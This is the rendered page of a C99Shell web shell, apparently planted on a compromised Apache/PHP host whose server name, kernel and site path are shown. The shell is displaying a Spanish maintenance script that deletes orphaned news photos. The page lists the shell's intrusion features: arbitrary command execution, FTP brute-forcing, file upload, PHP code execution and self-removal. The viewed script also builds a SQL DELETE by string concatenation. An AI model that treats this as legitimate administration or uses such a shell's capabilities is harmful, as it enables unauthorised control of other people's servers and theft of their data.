!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.3.29 

uname -a: Linux tardis23.nocplanet.net 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024
x86_64
 

 

Safe-mode: OFF (not secure)

/home/memoriacel/public_html/2018/panel/   drwxr-xr-x
Free 985.13 GB of 1859.98 GB (52.96%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     eliminar-inconsistencias-fotos.php (623 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
require_once("includes/config.php");
require_once(
"includes/funciones.php");

$fotos_huerfanas=$mysqli->query("
SELECT fn.id, fn.nombre, fn.id_noticia, n.titulo
FROM foto_noticia fn
LEFT JOIN noticia n ON n.id = fn.id_noticia
WHERE n.titulo IS NULL 
LIMIT 50
"
);

while (
$item mysqli_fetch_assoc($fotos_huerfanas)){
    echo 
"foto eliminada: ".$item['nombre']." de la noticia: ".$item["id_noticia"]."<br>";
    
unlink($carpeta_noticias_original.$item['nombre']);
    
unlink($carpeta_noticias_thumb.$item['nombre']);

    
$result=$mysqli->query("
    DELETE FROM foto_noticia
    WHERE id='"
.$item["id"]."'
    "
);
}
echo 
"listo.";



    

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0007 ]--